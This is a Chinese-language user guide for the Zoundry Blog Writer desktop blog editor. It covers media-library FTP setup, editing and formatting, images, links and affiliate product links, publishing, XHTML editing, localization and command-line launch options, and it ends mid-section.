下一步是配置媒体库，如果您有自己的用于上传图片的 FTP 服务器，请选择通过 FTP 上传；如果您的 Blog 服务支持通过 XML-RPC 上传文件，您可以选择通过 Blog 自身的文件上传系统。大多数 Blog 服务(除了 MSN Spaces 和 Blogger)都支持基于 XML-RPC 的图片上传功能。如果您不确定是哪一种，请选择第一个选项。

如果您既没有自己的 FTP 服务器，而您的 Blog 服务又不支持文件上传时，请点击 这里 查看其它解决方案。

对您的任何一个属于其它 Blog 服务的 Blog 重复上面的过程。

配置您的 Zoundry 标识

(若没有 Zoundry 标识，您可以直接跳过本节。)

如果您拥有一个 Zoundry 服务的账户(目前仅能通过邀请获得，尚处在 Beta 测试阶段)，请输入您的用户名(您的电子邮件地址)。如果您尚未拥有账户，可以点击 这里 请求一份帐号邀请。您还可以转到我们的 慈善机构列表 页面选择一个慈善机构接收您赚取的佣金 - 只要在这里输入该慈善机构的 Zoundry 标识即可。另一个选择是输入一个属于您的朋友或某个组织机构的 游客标识，以便让他们接收您赚取的佣金。最后，您也可以将 Zoundry 标识这一栏空出，这时您赚取的所有佣金将转入 Zoundry 的募捐箱，以帮助我们填补开支。

配置您的媒体库

(如果您使用 Blog 服务程序自身提供的文件上传功能，可以直接跳过本节)

网志编辑器的媒体库负责将您插入到 Blog 文章中的所有本地图片上传到远端的 FTP 服务器中，该服务器将被用来在线显示图片。如果您没有配置您的媒体库，任何插入 Blog 文章中的本地图片对您看来都能够正常显示，但一旦发布，对所有浏览者都会显示为损坏的图片。在没有自己的 FTP 服务器时，您可以选择使用 Blog 服务程序自身提供的文件上传机制(如果可用)，或者点击 这里 查看其它解决方案。

要配置您的媒体库，先调出"开始"侧边栏 (在主菜单中选择 查看 -> 导航模式) 或在工具菜单中点选媒体库菜单项。将各个栏目填写完毕后点击 OK。一旦完成这部分配置，发布文章时媒体库就会自动地将所有插入到您的 Blog 文章中的本地图片上传到 FTP 服务器。媒体库的各项设置说明如下:

媒体库的各项设置:
主机: 您的 FTP 服务器的主机名或 IP 地址。
端口: FTP 端口号。要使用默认的 21 号端口，可将此栏留空。
用户名: 您的 FTP 服务器的登录用户名。
密码: 您的 FTP 服务器的登录密码。
URL 地址: 图片服务器对应的网页地址。这一栏必须填写合法的网页 URL 地址，地址应以"http://"开头。
路径: 图片在 FTP 服务器上的存储目录的路径(以"/" 开头)

常见问题: 如何检查我的媒体库设置是否正确？

返回页面顶部

2. 使用您的网志编辑器 - 介绍编辑区

点击 这里 查看更大尺寸的编辑区屏幕截图(图中含有注解)。

注意: 如果希望只显示编辑区域，可以通过点击侧边栏右上角的'x'按钮关闭侧边栏(或者在'查看'菜单中去掉菜单项左侧的钩选标记)。如果您不经常使用引用回复和日历，也可以通过点击标签词输入框右侧的 '>>' 按钮将它们切换到隐藏状态。

查看精简界面的 屏幕截图。

许多与编辑，链接和添加标签相关的功能都可以在右键菜单中找到。下面的图片展示了可用的右键菜单选项:

撰写并控制文字格式

在网志编辑器中输入就像在一个字处理软件中输入一样。您可以选中一部分文本，然后从格式菜单或编辑区的工具栏样式按钮中选取一种格式应用到这段文本。

按下 Enter 键可以另起一段(html 代码中的 <p></p> 元素)。通常情况下，多数浏览器中的编辑区都会在两个连续的段落之间用一块较显眼的空白行分隔(除非这种格式被 CSS 样式抑制)。如果您只希望在同一段中另起一行，只要按下 Shift+Enter 组合键即可。

按下 Shift+Enter 组合键会在同一段落中插入一个换行符(<br /> 元素)。这相当于在其它像记事本这样的纯文本编辑器中按下一个 Enter 键。为了版式的美观，我们建议您不要使用换行符(Shift+Enter 或者 <br />元素)。此外，您还可以利用您的 Blog 模版中的样式文件定义各 HTML 元素的显示效果。

如何撤销所做的更改

您可以通过编辑菜单中的撤销菜单项或 Ctrl+Z 组合键撤销对文章作出的更改。

选择一个目标 Blog

您可以在编辑区上方的下拉菜单中(在文章标题栏的正上方)选择一个 Blog 作为文章发布的目的地，也可以在点击发布按钮之后在"发布条目"对话框的发布设置中选择一个目标 Blog。

选择目标分类(不支持 Blogger)

您可以在编辑区目标 Blog 选择按钮的右侧找到目标分类选择按钮，点击此按钮即可选择待发布文章的目标分类(分类功能目前尚不支持 Blogger)。

选择标签词和标签空间

您可以为一篇文章添加标签，并将这些标签发送到若干个标签空间中去。首先在编辑区工具栏上找到标签空间这一栏(在文章标题栏的下方)，然后在下拉菜单中选择希望添加到哪个标签空间(Technorati 是默认的标签空间)。下一步就是在右侧的输入框中输入以逗号分隔的标签列表。举例来说，如果您需要添加两个标签 "Zoundry" 和 "网志编辑器"(标签本身不带引号)，只要按照下面的样子输入 "Zoundry, 网志编辑器"。注意一定要用半角逗号分隔这两个标签。

您还可以直接从标签输入框右侧的下拉菜单中选择一些以前曾经添加过的标签(下拉菜单中显示了所有您从前使用过的标签词，还包含下载文章中带有的标签)。

文章发布之后，在工具栏中(或者在文章发布对话框中)添加的标签词将会显示在文章的底部。如果您希望在文章内容中添加标签，请参考 链接到标签空间，参考资料网站以及搜索引擎.

输入一个引用地址 (Trackback)

如果您正在针对另一个 Blog 中的文章撰写自己的文章，您可以在工具栏中的引用地址输入框中输入被援引文章的引用地址，或者迟一些在文章发布对话框中输入该地址，这样一来当您发布文章时，对方的 Blog 服务将收到引用通知。您还可以选择在被引用文章的下方显示自己文章的链接和内容摘要。

选择文章发布的日期和时间(不支持 BlogHarbor)

您可以设定文章发布的日期和时间。默认的发布时间是当前的日期和时间，但您可以通过设定发布时间让一篇文章出现在您 Blog 中的任何位置，无论是过去还是未来(目前您还不能改变 BlogHarbor 上文章的发布日期和时间)。

保存一篇网志

在发布之前，您可以将一篇文章保存起来，只需在文件菜单中点选保存或者点击主菜单下方的保存按钮即可。所有未发布的文章均会被列在侧边栏的"未发布的 (本地计算机)"节点之下

打开一篇事先保存的网志

您可以打开一篇事先保存好的文章(无论是否已经发布)，只需在文件菜单中点选打开或者直接在侧边栏的 Blog 文章列表中浏览即可。

HTML 格式控制

网志编辑器可以帮助您完成两类 HTML 格式化工作，而不需要需要由您直接编辑 HTML 源代码。

第一类是块状引用格式。块状引用是一种备选的文字格式，它为一段选定的文字段落的两侧添加缩进，使得这些文字在整篇文章中具有更好的可见度。许多博客喜欢在较长的引用文字上使用块状引用格式，比如成段的引用内容。欲应用块状引用格式，只要选定希望使用此格式的文字，再从右键菜单中选择"应用两边缩进"即可。

第二种是代码格式，它使您可以在文章中对源代码进行格式化。欲应用源代码格式，只要选定全部代码文本，再从右键菜单中选择"应用代码"即可。

移除 HTML 格式

要移除块状引用格式或代码格式(特指光标当前所在文字单元的格式)，在带格式文本的任何一部分处点击，然后从右键菜单中选择"移除..格式"即可。

粘贴 HTML 源代码

如果希望粘贴合法的 HTML 源代码片段到所见即所得编辑区，请依以下步骤进行：
1. 复制合法的 html 源代码到系统剪贴板(Ctrl + C)
2. 在网志编辑器中, 选择 编辑->粘贴为Html 菜单项

若这些内容为合格的 html 代码片段，网志编辑器会将其作为 html 代码插入，否则这些内容将以纯文本格式被插入。

键盘快捷键

动作	快捷键
打开文章	Ctrl + O
打开 HTML 文件	Ctrl + Shift + O
保存文章	Ctrl + S
以 HTML 文件方式保存文章	Ctrl + Shift + S
发布文章	Ctrl + P
下载近期文章	Ctrl + D
文字加粗(粗体)	Ctrl + B
文字倾斜(强调)	Ctrl + I
添加下划线	Ctrl + U
插入链接	Ctrl + L
插入产品链接	Ctrl + Shift + L
插入图片(文件)	Ctrl + M
插入图片标签	Ctrl + Shift + M
剪切	Ctrl + X
复制	Ctrl + C
粘贴	Ctrl + V
粘贴为 HTML (格式化过的)	Ctrl + Shift + V
撤销更改	Ctrl + Z
重做更改	Ctrl + Y
运行拼写检查	F7
查找和替换	Ctrl + F

拼写检查

为启用拼写检查功能，请在工具菜单中点选"设置"，并在弹出的对话框左侧边栏中选中"拼写"。选择合适的语言后点击"OK"或"应用"按钮即可，此后将开始下载词典文件(如果希望迟一些再下载，您可以随时取消此过程)。如果您选择的语言没有对应的词典文件，请通知我们。

要开始拼写检查，请按 F7 键或点选工具菜单中的"拼写检查"，当然您也可以直接点击工具栏上的"abc"按钮。 拼写检查功能 目前 还不能在 XHTML 编辑器中使用。

WordPress 和 MovableType 专用的扩展条目标记

MovableType 和 WordPress 的 API 支持特定的扩展条目标记(如 WP 中的 <!-- more --> 标记)。 在 Zoundry 中，所见即所得编辑器通过一条绿色的水平线(虚线)显示这种标记，在 XHTML 编辑器中则以 <!-- more --> 表示。

欲插入扩展条目标记，先将光标放在希望添加标记的位置，再点击工具栏中的扩展条目标记按钮(参考屏幕截图)。

注意: 扩展标记总是被添加在文字区块的结束位置(根据 xhtml 1.0 schema 的要求)，例如，在当前段落到末尾。

要将扩展标记移动到一个新位置，先将光标移动到新位置(段落)，再点击工具栏中的扩展条目标记按钮。

要去除扩展标记，只要用右键点击该标记(水平线)再选择"去除"即可。

返回页面顶部

3. 使用您的网志编辑器 - 图像管理

嵌入图片

要将个人电脑中的图片插入文章，您可以直接从桌面上拖拽图片到编辑区(推荐用这种方式)，或者点击工具栏上的插入图片文件按钮(Ctrl+M)，当然还可以从右键菜单中选择。发布文章时，您的网志编辑器媒体库将自动为图片生成缩略图(在您的文章中放置一张小号图片并将其链接到原图)，并将缩略图和原图一并上传到远端的主机。(注意: 您必须首先 配置 好您的媒体库，然后才能利用您的 Blog 服务程序提供的文件上传功能，前提是程序提供了这项功能)。

您还可以从 Web 上直接链接图片到文章中，这被称为图像标签。插入图像标签有三种方法：

1. 从您的浏览器中选择图片并拖放到编辑区中。如果图片本身带有超链接，请先剪切再粘贴。*
2. 在浏览器中右键点击图片，在弹出菜单选择复制并将其粘贴到网志编辑器中。
3. 在编辑区中点击右键并选择插入图片标签(或按组合键 Ctrl+Shift+M)，再将图片的链接地址输入弹出的对话框中。
(注意：在插入来自 Web 的图片前，请先获得版权持有者的准许。)

为获取一张图片的链接地址，您可以在浏览器中用右键点击该图片并选择属性。在属性页面中找到图片的链接地址后，在插入图片标签对话框中的图片链接栏中输入该地址即可。Alt 文本栏是可选的，此栏中的内容将在图片尚未完全载入前显示在浏览器中。

* 如果您使用的是 Mozilla Firefox，无论图片是否带有超链接，都可以直接将图片拖放到编辑区中。

* 对于 Flock 浏览器 - 因为 Flock 是基于 Mozilla(Firefox) 的，您仍然可以直接拖放图片和内容，此外，您还可以从 Flock 的 Shelf 窗口拖拽项目到编辑器。

移动图片

欲移动文章中的图片，您有两种可选的方法：

1. 直接拖拽(并放置)文章中的图片。具体做法就是在图片上按下鼠标左键并将其移动到文章中您所期望的位置再松开鼠标。
2. 先剪切，再粘贴到您所期望的位置(粘贴前需要将光标放置在您希望插入图片的位置)。

编辑图片

在图片上点击右键并在弹出菜单中选择 图片属性 即可编辑图片，此操作将打开一个对话窗口，其中列出了被支持图片属性，包括可选文字(alt text)，排列方式(alignment)和宽度(width)、高度(height)等。或者您也可以通过点击图片并拖拽其边缘的句柄来改变图片大小到需要的尺寸。

利用图片属性改变图片大小时，编辑器将自动生成新缩略图。利用拖拽拉伸的方式改变图片大小时，您需要通过右键菜单中的重新生成缩略图选项手工生成新缩略图。

您还可以通过图片属性菜单修改图片的边框和留白，以便为图片的周边增加空白区域。具体做法如下：

1. 右键点击图片并选择图片属性。
2. 选择 Style 标签页
3. 在图片的左，上，下侧留白中填写 2 作为留白宽度，右侧留白中填写 5 (假定图片为左对齐排列方式)。
4. 可选参数：在边框宽度栏中输入 1 作为边框宽度。

对齐图片

图片的对齐方式(居中对齐，左对齐或右对齐)属性可通过图片属性对话框调整。您也可通过右键点击图片并在弹出菜单中选取一种对齐方式实现同样效果。

返回页面顶部

4. 使用您的网志编辑器 - 超链接

创建超链接

如果希望在您的 Blog 文章中的某个单词或语句上创建一个超链接，请先将这些文字选定，再用鼠标点击插入超链接按钮(Ctrl+L)或在右键菜单中选择插入超链接。最后，在弹出的对话框中输入链接地址并指定链接是否在新窗口打开。

作为选择，还有一些其它的创建超链接的方式：

1. 从浏览器拖放超链接到网志编辑器的编辑区
2. 在浏览器中复制超链接地址到剪贴板，再到编辑区中选择创建超链接(Ctrl+L)，这时剪贴板中的地址将被自动填入打开的对话框中。
3. 从浏览器中复制链接地址后直接粘贴到编辑区。
4. 对于本地文件，直接将他们从 Windows 系统拖放到编辑区中。

常见问题：在新窗口打开链接是什么意思？

创建产品链接(联属链接)

我们为您提供了三种创建 Zoundry 产品链接的便利方式，产品的种类非常之广泛。点击 这里查看当前受支持的经销商列表以及针对每个经销商提供的链接创建方法(注意: 仅当计算机连入互联网时，您才能利用网志编辑器创建产品链接。)

首先，用 Zoundry 产品选择器搜索产品并创建产品链接。

1. 将您希望添加链接的文字选中(请小心操作，不要选中任何多余的空格。
2. 右键点击被选中的文字并在弹出菜单中选择链接到产品(或者直接按组合键 Ctrl+Shift+L)。
3. 检视 Zoundry 产品选择器中关于经销商和产品分类的搜索结果。点击图标左侧的加号可以展开该经销商或产品分类以便查看其中的子项目(点击减号则可以合拢先前被展开的内容)。
4. 点击任何一个子项目以便查看其详细信息并查看产品缩略图(如果该产品带有缩略图的话)。
5. 当您找到正确的项目之后，点选产品信息下方的任意一些复选框并点击 OK。

或者，在我们将某些产品信息添加到 Zoundry 产品选择器中之前，用我们的链接转换器手工创建个别的产品链接：

1. 在经销商的网站上找到该产品。
2. 复制并粘贴(若是在 Firefox 中也可直接拖放)该产品的页面地址到网志编辑器中。
3. 右键点击该链接并在弹出菜单中选择转换(经销商)链接为产品链接。
4. 当网志编辑器成功格式化该链接之后，在输入产品文字栏中输入链接文字。

最后，您还可以为一些产品种类或某个经销商下属的全部分类创建联属链接。例如，当您希望创建联属链接到一个完全的产品分类，比如 Amazon 上的数码相机，可以按下面步骤进行：



1. 将关键词 "数码相机" 选中并点击右键。
2. 在弹出菜单中选择链接到经销商店面 -> Amazon。

当您的读者点击链接时，他们将到达一个显示 Amazon 上所有相关产品列表的页面。只要读者点击并购买了列表中的任何一款产品，您就将赢得一定的销售佣金。

常见问题：Zoundry 产品链接和常规链接有何不同？

链接到标签空间，参考资料网站以及搜索引擎

如果您希望创建链接到某个标签空间，例如 Technorati，请选中您希望添加链接的文字，点击右键并在弹出菜单中选择链接到 -> Technorati。此链接将被创建为一个标签链接。类似地，您还可以创建链接到其它地方，例如维基百科(参考网站)和雅虎(搜索引擎)。

要创建链接到一些当前暂时未被网志编辑器支持的标签空间，请按下面步骤进行：
1. 选定您希望添加链接的文字。
2. 点击右键，在弹出菜单中选择链接到... -> 用户自定标签空间。
3. 输入您的标签空间地址，例如 http://del.icio.us/tag 。
4. 标签词就是您选中的文字，它们将被显示在 "链接标签" 部分。多单词标签的单词之间应该用空格分隔，就是说您不需要使用 "+" 或 "%20"这样的分隔符。

链接到先前发布的网志

要插入链接到您先前发布的文章，可依如下步骤进行：
1) 在 Blog 条目侧边栏中右键单击某篇文章并在弹出菜单中选择创建一个到此文章的链接。

2) 或者，在 Blog 条目侧边栏中，右键单击某篇文章并在弹出菜单中选择条目属性。在条目属性对话框中，您可以创建链接到这篇文章本身，文中的图片或文中其它链接。

3) 或者，还有最后的第三种选择，那就是直接选中编辑区中的一段文字，再从右键菜单中选择链接到文章。

这将插入一个指向选中文章的链接。如果您事先在编辑区中选定了一些文字，则这些文字将被创建超链接到这篇文章。

编辑链接

将光标停留在编辑区中的链接上，点击右键并在弹出菜单中选择编辑链接目标。在弹出的对话框中编辑链接地址并选择是否以新浏览器窗口打开链接。注意：Zoundry 产品链接不能用此方法编辑。

如果您希望编辑链接文字，可以直接在编辑区中修改。

移除链接

将光标停留在编辑区中的链接上，点击右键并在弹出菜单中选择编辑移除格式，这时如果需要的话，您可以直接删除链接文字。

返回页面顶部

5. 使用您的网志编辑器 - 音频内容与播客

嵌入播客制作需要的音频文件

您可以从 Windows 系统中拖放音频文件(例如 mp3)到编辑区，或者点击(Ctrl+L)手工创建链接，然后在弹出对话框中点击文件按钮以浏览音频文件。当文章被发布到您的 Blog 之后，读者将可以点击该链接以下载并播放音频文件。注意：您将需要事先配置好您的媒体库或文件上传选项。

网志编辑器会自动将您的 mp3 链接格式化，为其添加 podcast enclosure. 要架设一个播客，您必须为您的 Blog 创建一个 RSS 2.0 feed。点击 这里 了解更多关于播客的知识。

6. 使用您的网志编辑器 - 效果预览

使用模版预览

网志编辑器允许您利用您的 Blog 模版预览文章的实际显示效果。点击 这里 了解更多。

7. 使用您的网志编辑器 - 远程发布

远程发布

请查看关于 标签， 日志发布通告，和 引用通告 标签页的屏幕截图。

当您完成了文章的编辑和排版工作，并对预览效果感到满意之后，就可以将其发布到 Blog 服务器上了。在文章菜单中点击发布条目或直接点击编辑工具栏上的发布按钮都可打开发布设置对话框。在常规标签页中，您可以选择希望发布文章的目标 Blog(也可以在编辑工具栏下方的下拉菜单中选择)，指定文章的分类(如果您的 Blog 支持此功能并且您先前未在编辑器中为文章选择分类)以及设定或核对文章的发布时间等等。

作为可选操作，您可以转到其它标签页输入或核对下面的一些信息：

1. 标签 - 输入或核对您在编辑工具栏中输入的标签。
2. 日志发布通告 - 选中任何您希望发送新文章通知的服务站点。
3. 引用通告 - 输入或核对引用地址。

您还可以选择将文章发布为草稿(目前还不支持 TypePad 或 MovableType)，或者将复选框置空以便发布为公开的在线内容。如果您在编辑一篇原先保存/发布过的文章，可以选择更新该文章或发布为新文章。
最后，如果不希望上传大图(原始尺寸)并将缩略图链接到大图，您可以选择只上传缩略图。

当您准备好发布文章时，点击发布按钮即可。

文章发布对话框底部的消息和警告部分显示一些错误消息，例如您没有选定文章发布的目标 Blog。当您看到一条错误消息时，点击该消息将转到出现该错误的标签页。

远程发布到多个 Blog

如果您希望将同一篇文章发布到多个 Blog，请将文章发布对话框底部的发布后关闭复选框置空。将文章成功发布到第一个 Blog 之后，选择第二个目标 Blog 并设定分类以便发布到第二个 Blog，其它 Blog 依此类推。

注意：发布同一篇文章到多个 Blog 并不会在 Blog 条目侧边栏中创建多个文章实例，所有 Blog 上的文章都将用一个条目代表。如果您希望创建同一条目的多个副本，可以在侧边栏中选定该条目，并在文件菜单中选择创建副本以便将该文章保存为一个新条目。

8. 使用您的网志编辑器 - 侧边栏

侧边栏是什么

侧边栏是一个窗口，您可以选择将其显示在网志编辑器窗口的左侧。有三种不同的侧边栏类型可供选择，您可以在视图菜单中选择具体的类型：

1. 开始使用 - 一些指向配置选项的快捷方式，为您显示哪些设置选项已经经过了配置，哪些还没有。
2. 检查更新 - 一个方便的检查更新的方式，可检查是否存在新版网志编辑器可供下载，来自 Zoundry 的新情报等。
3. Blog 条目 - 显示一些文章的列表以方便浏览和编辑，包括您保存过的草稿和已发布的文章。

要关闭侧边栏窗口，点击其右上角的 X 按钮即可。要在各种侧边栏之间快速切换，点击关闭按钮左侧的下箭头图标并在下拉菜单中选择一项即可。

Blog 条目列表

Blog 条目列表侧边栏中的条目是这样组织的，首先按照 Blog 帐号分类，其次是每个帐号下面的若干个 Blog，最后是每个 Blog 中发布的文章。点击 + 或 - 可以扩展或收拢某个节点，这样就能够查看每个节点下面的 Blog 或文章。未发布(本地计算机)文章指那些未被发布到 Blog 服务器的文章草稿。

您可以通过点击侧边栏中的 Blog 条目标题选定一篇文章，文章被选定之后工具栏按钮将被激活，您将能够进行以下操作：

1. 打开/编辑文章。
2. 查看在线文章。
3. 创建指向当前文章的链接。
4. 查看文章属性。
5. 从网志编辑器和/或您的 Blog 服务器中删除文章。 注意：如果同一篇文章被发布到多个 Blog，您将可以选择从某个 Blog 中删除或从所有 Blog 中删除。

需要注意的是当发布单篇文章到多个 Blog 时，实际上是在发布同一(物理的)副本。就是说，所有 Blog 都在使用同一份文档。如果您需要一份新的副本，请选择作为未发布副本打开，以便得到一份已发布文章的副本。

Blog 条目侧边栏可以通过 Blog 账号，标签或链接来组织您的文章。您可以用关闭按钮下侧的下拉菜单改变查看方式。

文章属性对话框为您展示文章的相关属性，包括文章曾被发布到哪些 Blog ，文中所含链接，图片之类的汇总信息。您可以在对话框中点击插入链接以便将指向此文章的链接地址插入当前处于编辑状态的文档。

9. 使用您的网志编辑器 - 下载近期的网志

下载近期的网志

您可以从您的 Blog 服务器下载有限数量的(取决于您所使用的 Blog 内容管理系统的限制)先前发布的文章到网志编辑器。这将允许您创建这些文章的备份，还使您可以离线编辑这些文章。在发布菜单中选择下载近期文章，在弹出对话框中选择正确的目标 Blog(点击 + 或 - 扩展或收拢某个节点)和希望下载的文章的数目(从最近发布的文章开始计算)。

下载过程还将导入在文章内容中发现的所有标签词(例如 Technorati)。

注意：
下载过程完成后，您可以在侧边栏查看已下载文章：在侧边栏树状条目视图中，选择(展开) Blog 下方的帐号即可。

10. 网志编辑器与 Zoundry 工具条的配合使用

就此内容撰写网志

利用我们提供的 Zoundry 浏览器工具条插件，您将可以从 IE 或 Firefox 中的任何一个网页开始快速地创建一篇 Blog 文章。当您遇到一个感兴趣的网页时，选中页面上的文字并点击 Zoundry 工具条中的 BlogThis 按钮即可。此操作将启动网志编辑器，并将选中的文字粘贴到编辑区中(包括超链接)。

如果您遇到一个产品网页，并且其经销商被我们支持的话，您可以直接点击 BlogThis(而无需选中任何文字)。网志编辑器将自动复制可用的产品信息(包括产品图片)并利用您的 Zoundry 表示创建一个指向此页的 Zoundry 产品链接。

网志编辑器还将尝试自动发现引用地址信息。如果发现了多个引用地址，则会显示一个可用引用地址的列表，被选中的引用地址将被关联到您的文章。

欲了解更多关于 Zoundry 工具条的信息，请点击 这里 或直接转到 Zoundry 工具条的 下载 部分。

返回页面顶部

11. 使用您的网志编辑器 - 高级 XHTML 编辑功能

XHTML 编辑器

XHTML 编辑器允许您在 XHTML 代码级别上编辑您的文章。基本功能包括括号匹配，标签/属性代码带颜色显示等。更高级的功能包括 HTML 清理，自动完成和验证等。

注意，编辑区中的内容应当是 XHTML <body>中的内容，不要输入<xhtml>，<head>和<body>等标签，只能输入<body>标签之内的内容。

同时按 Ctrl 和 + (加号) 或同时按 Ctrl 和 - (减号) 可以增大或缩小 XHTML 编辑区的显示字体大小。

在 XHTML 模式下使用工具栏按钮

多数编辑按钮和键盘快捷键(例如加粗或 Ctrl+B，链接到...，链接到侧边栏中的文章等)在 XHTML 编辑器中仍然是适用的。

如果在调用某项操作(例如加粗或 Ctrl+B)时没有任何文字被选中，则相关的标记将被插入到编辑区，同时光标也会移动到开始标签和关闭标签之间。例如，加粗按钮将插入"<strong>[光标自动移至此处]</strong> " (实际插入内容不含引号)。当您希望在光标当前所在位置插入链接/图片时，插入链接按钮或 Ctrl+L，插入图片按钮或 Ctrl+M/Ctrl+Shift+M 也将工作得很好。

如果在调用操作前有任何文字被选中的话，相关的标记将被包在选中文字的左右。例如，当选中的文字为"Hello World"时，最终的标记结果将变成"<strong>Hello World</strong>"。再举一例，要在一段文字上创建超链接，选定这些文字并按 Ctrl+L(若希望创建快捷链接到 Technorati 标签空间之类的网站，请在工具栏中选择创建链接到...按钮)即可。

注意：应用标记到选定文字的时候要小心，因为这些标记会被应用到整个选择区域。当所选文字中含有不完整的标记元素时，可能出现问题。例如，当选定的文字为以下情形时，"em>[cursor]</em>" (即<em> 这个开始标签不完整)，应用加粗格式到选定文本之后，最终的标记结果将是"<strong>em>[cursor]</em></strong>" (注意 <strong> 标签被应用到了不完整的 <em> 标签之上，这就是选择区域不正确造成的后果)。

自动完成

自动完成的作用是遵循 XHTML 1.0 规范，基于光标在文档中所处的当前位置及其上下文内容给出提示信息。要调用自动完成功能，只需按 Ctrl + Space 组合键。只有在根据上下文内容可以生成提示信息时才会显示自动完成列表。按 Ctrl+Shift+Space 组合键将给出调用提示信息 - 但这项功能在目前的版本中尚不完备。

要在一个开始标签中调用自动完成，请在<字符之后按 Ctrl+Space，这将列出所有可用标签的列表。请注意这些标签是基于 XHTML 1.0 规范的(Strict 或 Transitional)，例如在最高(根)层次, 您将只看到 block 层次的元素(基于选定的规范)。

一旦光标落在某个标签中时，按 Ctrl+Space 就会显示当前元素可用的属性名称列表。

若光标位于 style 属性之中, 按 Ctrl+Space 将依据上下文内容显示可用的 CSS 样式名称或属性值。类似地，在 href 和 class 等属性中也会显示可用的属性值。





注意：字体大小的值基于您当前的字体单元偏好(EM, PX, CSS尺寸 等等)。请参考工具->偏好中的字体设置部分。

当输入关闭标签字符串时，</ 自动完成将提示相应的最匹配的关闭标签(仅在您的文章内容被良好格式化之后才和使用。

清理 HTML 代码

Zoundry 期望文章内容是经过良好格式化的 xml 文档。通常来自微软 Word 以及许多 Blog 内容管理系统等来源的内容都不是良好格式化的。Zoundry 在其最初的发布版本中就已采用 HTML Tidy 进行清理，因为 Zoundry 在内存中使用了一种内部的内容模型(DOM)。我们将此作为一项可选功能提供用户使用。要运行 HTML Tidy，点击清理按钮即可。注意行号与列号未必匹配编辑区中的行号 - 除非在清理过程中出现了严重错误。

注意：当您在所见即所得编辑区和 XHTML 编辑区选项页之间切换时，清理过程会自动运行。

合格性验证

现在您可以通过点击验证按钮来验证您发布的文章是否符合 XHTML 1.0 Strict 标准或 Transitional 标准，警告/错误行号将与编辑器中的内容匹配。点击某个警告或错误将高亮编辑区中对应行的标记(在页边的留白处，行号右侧)。要清除警告和错误信息，请点击清楚按钮。

注意：验证过程只是针对您的文章进行 - 而并不是针对您的 Blog 站点。您应当首先确保您的 Blog 站点是遵从 XHTML 标准的(多数情况依赖于 Blog 模版)。

返回页面顶部

12. 本地化 - 协助我们将网志编辑器的界面翻译为其它语言

我们已经将所有界面相关的信息，标题，字符串等内容转存到外部资源文件中，以便支持软件的本地化。目前我们还没有给出任何官方的翻译。资源文件是一个简单的赋予命名空间的 xml 文件(以 UTF8 格式编码)，位于安装目录之下。文件名称的格式为 zBlogWriter_[语言代码].xml or zBlogWriter_[语言代码]_[国家代码].xml (对某个特定国家而言)。例如， zBlogWriter_en.xml (代表英文) 和 zBlogWriter_en_GB.xml (英国英语).

为了方便志愿者将原始语言包翻译为另一地区的语言包，我们还在编辑器中集成了一个简单的工具。要打开此工具，请在主菜单中选择 工具->本地化工具 选项。



要开始一个新的翻译，点击新建翻译按钮。这将弹出一个对话框让您选择一种语言。除非此翻译特别针对于某一国家，否则将国家选项保持为 "所有国家" 即可。

要在一个已经存在的语言包上工作，请点击打开按钮并选择一个合适的语言包。

翻译工具的使用很简单，只要将列表中的条目逐条翻译即可，不要忘记保存您的工作。该文件将被存储到 程序安装目录/zBlogWriter_[语言代码].xml 这个文件。

日期格式注意事项：
许多地方的默认日期格式均遵循美国惯例 - 即月份，日期和年份。

日历控件注意事项：
与日历控件相邻的日期栏以 MM/DD/YYYY 的格式显示日期，其日期格式串为"MMDDYYYY"(不包括引号)。此格式串的资源键值为 blogui.wx_datecontrol。

另外两种可以使用的有效的格式(依赖于您的区域设定)为 DDMMYYYY 和 YYYYMMDD。

要切换到另一个不同的资源包，请打开工具菜单的设置选项并选中语言部分。对话框右侧面板将列出可用的语言包(包括本地机器中的以及网络上可供下载的)。如果希望切换，只要选中所需语言的最新版本的包并点击 OK 或应用按钮即可。此设置生效前可能需要重新启动程序。

当您完成了翻译工作时，

1. 定位到您翻译的 xml 文件(例如 zBlogWriter_en_GB.xml)。此文件通常被保存在 Zoundry 的安装目录中，例如 C:/Program Files/Zoundry Blog Writer。

2. 将此 xml 文件压缩为 ZIP 包。

3. 将 ZIP 压缩包通过电子邮件发送给我们，我们的邮件是 support at zoundry dot com。

一旦接收到此文件，我们将尽力把您做的修改合并进来。一旦合并完成，我们就会将其提供给 Zoundry 用户，对您的辛勤劳动的致谢也将理所应当地公布在网站中。(新的字串包/语言包通常会显示在设置对话框中的语言选项部分，在那里用户将可以下载它们)。

返回页面顶部

13. 技术信息

备份您的数据

当前版本的 Zoundry 程序(1.0)并不会自动为您的数据做备份(已知问题)。当您卸载 Zoundry 时，这些信息也将被删除。目前，Zoundry 将您的文章和数据存储在 xhtml 和 xml 文件中。如果希望备份您的文章和设置，只要将用户数据目录复制或者备份即可。

用户数据目录位于 Zoundry 程序安装目录下的 users 目录之下。例如：

C:/Program Files/Zoundry Blog Writer/users/[您的用户名]

这里 [您的用户名] 指您用于登录 Windows 的账户名。

命令行参数

您还可以从类似 RSS 新闻阅读器那样的外部工具启动 Zoundry。在多数情况下，您需要通过命令行参数将一些信息传递给 Zoundry 程序。

传递参数的通用格式为：

Zoundry 的安装目录/sys/pyth/zBlogWriter.exe -cmd -option1 -option2 ...

这里 Zoundry 的安装目录 指 Zoundry 程序的安装目录而 cmd 处应填写 blogthis。 blogthis 命令将启动网志编辑器，同时将指定的内容放入编辑区。

以一个临时 xhtml 文件启动：
要以一个 xhtml 文件启动程序，可使用以下格式

-blogthis -title "可选文章标题" -file "完整的 xhtml 文件路径"

实例请参见常见问题解答中的 FeedDemon 设置。

以一段内容为参数启动：
要将一段(x)html或纯文本格式内容作为参数(而不是使用一个临时文件)传递给编辑器，可使用以下格式：

-blogthis -title "可选文章标题" -url http://(x)html内容的链接地址 -text "纯文本内容"

这里title 和 url 都是可选的。如果显式地给出了url ，则此地址将被用来自动发现并引用 (x)html 内容。

-text 后面的参数既可以为纯文本，也可以是(x)html内容。如果参数是经过格式化的(x)html内容，则需要添加参数 -format xhtml。 例如：

-blogthis -title "可选文章标题" -url http://(x)html内容的链接地址 -text "经格式化的(x)html内容" -format xhtml

作为示例，请参考常见问题解答中的 RSS Owl 设置。

当通过参数方式传递内容时，其它可用的选项有：

自动发现机制：
当给定 url 参数时，Zoundry 将进行自动发现以确定引用和文章摘要。 要关闭此功能，请使用参数 -autodiscover no。RSS Owl 将关闭此功能。
我们的浏览器 工具条插件 使用了自动发现机制。文件菜单中的将此链接 Blog 出去操作也使用了引用。

作者：
通常情况下，作者信息可通过自动发现机制获取，但您也可以自行提供。此信息将被显示在引用内容中。

引用内容：
